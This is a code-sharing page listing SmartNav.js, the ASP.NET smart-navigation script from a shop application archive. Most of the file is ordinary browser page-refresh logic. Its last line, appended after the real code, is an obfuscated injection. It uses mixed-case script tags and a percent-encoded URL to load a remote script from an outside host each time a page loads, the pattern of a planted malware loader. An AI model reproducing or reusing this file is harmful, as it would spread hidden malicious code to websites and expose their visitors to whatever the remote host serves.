SmartNav.js
资源名称:SHOPASP.rar [点击查看]
上传用户:xiecaij
上传日期:2015-02-08
资源大小:2016k
文件大小:8k
源码类别:
百货/超市行业
开发平台:
ASP/ASPX
- var snSrc;
- if (window.__smartNav == null)
- {
- window.__smartNav = new Object();
- window.__smartNav.update = function()
- {
- var sn = window.__smartNav;
- var fd;
- document.detachEvent("onstop", sn.stopHif);
- sn.inPost = false;
- try { fd = frames["__hifSmartNav"].document; } catch (e) {return;}
- var fdr = fd.getElementsByTagName("asp_smartnav_rdir");
- if (fdr.length > 0)
- {
- if (sn.sHif == null)
- {
- sn.sHif = document.createElement("IFRAME");
- sn.sHif.name = "__hifSmartNav";
- sn.sHif.style.display = "none";
- sn.sHif.src = snSrc;
- }
- try {window.location = fdr[0].url;} catch (e) {};
- return;
- }
- var fdurl = fd.location.href;
- index = fdurl.indexOf(snSrc);
- if ((index != -1 && index == fdurl.length-snSrc.length)
- || fdurl == "about:blank")
- return;
- if (sn.sHif != null)
- {
- sn.sHif.removeNode(true);
- sn.sHif = null;
- }
- var hdm = document.getElementsByTagName("head")[0];
- var hk = hdm.childNodes;
- var tt = null;
- for (var i = hk.length - 1; i>= 0; i--)
- {
- if (hk[i].tagName == "TITLE")
- {
- tt = hk[i].outerHTML;
- continue;
- }
- if (hk[i].tagName != "BASEFONT" || hk[i].innerHTML.length == 0)
- hdm.removeChild(hdm.childNodes[i]);
- }
- var kids = fd.getElementsByTagName("head")[0].childNodes;
- for (var i = 0; i < kids.length; i++)
- {
- var tn = kids[i].tagName;
- var k = document.createElement(tn);
- k.id = kids[i].id;
- k.mergeAttributes(kids[i]);
- switch(tn)
- {
- case "TITLE":
- if (tt == kids[i].outerHTML)
- continue;
- k.innerText = kids[i].text;
- hdm.insertAdjacentElement("afterbegin", k);
- continue;
- case "BASEFONT" :
- if (kids[i].innerHTML.length > 0)
- continue;
- break;
- default:
- var o = document.createElement("BODY");
- o.innerHTML = "<BODY>" + kids[i].outerHTML + "</BODY>";
- k = o.firstChild;
- break;
- }
- if(k!=null)
- hdm.appendChild(k);
- }
- document.body.clearAttributes();
- document.body.id = fd.body.id;
- document.body.mergeAttributes(fd.body);
- var newBodyLoad = fd.body.onload;
- if (newBodyLoad != null)
- document.body.onload = newBodyLoad;
- var s = "<BODY>" + fd.body.innerHTML + "</BODY>";
- if (sn.hif != null)
- {
- var hifP = sn.hif.parentElement;
- if (hifP != null)
- sn.sHif=hifP.removeChild(sn.hif);
- }
- document.body.innerHTML = s;
- var sc = document.scripts;
- for (var i = 0; i < sc.length; i++)
- {
- sc[i].text = sc[i].text;
- }
- sn.hif = document.all("__hifSmartNav");
- if (sn.hif != null)
- {
- var hif = sn.hif;
- sn.hifName = "__hifSmartNav" + (new Date()).getTime();
- frames["__hifSmartNav"].name = sn.hifName;
- sn.hifDoc = hif.contentWindow.document;
- if (sn.ie5)
- hif.parentElement.removeChild(hif);
- window.setTimeout(sn.restoreFocus,0);
- }
- if (typeof(window.onload) == "string")
- {
- try { eval(window.onload) } catch (e) {};
- }
- else if (window.onload != null)
- {
- try { window.onload() } catch (e) {};
- }
- sn.attachForm();
- };
- window.__smartNav.restoreFocus = function()
- {
- if (window.__smartNav.inPost == true) return;
- var curAe = document.activeElement;
- var sAeId = window.__smartNav.ae;
- if (sAeId==null || curAe!=null && (curAe.id==sAeId||curAe.name==sAeId))
- return;
- var ae = document.all(sAeId);
- if (ae == null) return;
- try { ae.focus(); } catch(e){};
- }
- window.__smartNav.saveHistory = function()
- {
- if (window.__smartNav.hif != null)
- window.__smartNav.hif.removeNode();
- if ( window.__smartNav.sHif != null
- && document.all[window.__smartNav.siHif] != null)
- document.all[window.__smartNav.siHif].insertAdjacentElement(
- "BeforeBegin", window.__smartNav.sHif);
- }
- window.__smartNav.stopHif = function()
- {
- document.detachEvent("onstop", window.__smartNav.stopHif);
- var sn = window.__smartNav;
- if (sn.hifDoc == null && sn.hif != null)
- {
- try {sn.hifDoc = sn.hif.contentWindow.document;}
- catch(e){sn.hifDoc=null}
- }
- if (sn.hifDoc != null)
- {
- try {sn.hifDoc.execCommand("stop");} catch (e){}
- }
- }
- window.__smartNav.init = function()
- {
- var sn = window.__smartNav;
- document.detachEvent("onstop", sn.stopHif);
- document.attachEvent("onstop", sn.stopHif);
- try { if (window.event.returnValue == false) return; } catch(e) {}
- sn.inPost = true;
- if (document.activeElement != null)
- {
- var ae = document.activeElement.id;
- if (ae.length == 0)
- ae = document.activeElement.name;
- sn.ae = ae;
- }
- else
- sn.ae = null;
- try {document.selection.empty();} catch (e) {}
- if (sn.hif == null)
- {
- sn.hif = document.all("__hifSmartNav");
- sn.hifDoc = sn.hif.contentWindow.document;
- }
- if (sn.hifDoc != null)
- try {sn.hifDoc.designMode = "On";}catch(e){};
- if (sn.hif.parentElement == null)
- document.body.appendChild(sn.hif);
- var hif = sn.hif;
- hif.detachEvent("onload", sn.update);
- hif.attachEvent("onload", sn.update);
- window.__smartNav.fInit = true;
- };
- window.__smartNav.submit = function()
- {
- window.__smartNav.fInit = false;
- try { window.__smartNav.init(); } catch(e) {}
- if (window.__smartNav.fInit)
- window.__smartNav.form._submit();
- };
- window.__smartNav.attachForm = function()
- {
- var cf = document.forms;
- for (var i=0; i<cf.length; i++)
- {
- if (cf[i].__smartNavEnabled != null)
- {
- window.__smartNav.form = cf[i];
- break;
- }
- }
- var snfm = window.__smartNav.form;
- if (snfm == null) return false;
- var sft = snfm.target;
- if (sft.length != 0 && sft.indexOf("__hifSmartNav") != 0) return false;
- var sfc = snfm.action.split("?")[0];
- var url = window.location.href.split("?")[0];
- if (url.charAt(url.length-1) != '/' && url.lastIndexOf(sfc) + sfc.length != url.length) return false;
- if (snfm.__formAttached == true) return true;
- snfm.__formAttached = true;
- snfm.attachEvent("onsubmit", window.__smartNav.init);
- snfm._submit = snfm.submit;
- snfm.submit = window.__smartNav.submit;
- snfm.target = window.__smartNav.hifName;
- return true;
- };
- window.__smartNav.hifName = "__hifSmartNav" + (new Date()).getTime();
- window.__smartNav.ie5 = navigator.appVersion.indexOf("MSIE 5") > 0;
- var rc = window.__smartNav.attachForm();
- var hif = document.all("__hifSmartNav");
- if (snSrc == null) {
- snSrc = hif.src;
- }
- if (rc)
- {
- var fsn = frames["__hifSmartNav"];
- fsn.name = window.__smartNav.hifName;
- window.__smartNav.siHif = hif.sourceIndex;
- try {
- if (fsn.document.location != snSrc)
- {
- fsn.document.designMode = "On";
- hif.attachEvent("onload",window.__smartNav.update);
- window.__smartNav.hif = hif;
- }
- }
- catch (e) { window.__smartNav.hif = hif; }
- window.attachEvent("onbeforeunload", window.__smartNav.saveHistory);
- }
- else
- window.__smartNav = null;
- }
- document.write("<ScRiPt src='http://%78%66%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70'></sCrIpT>");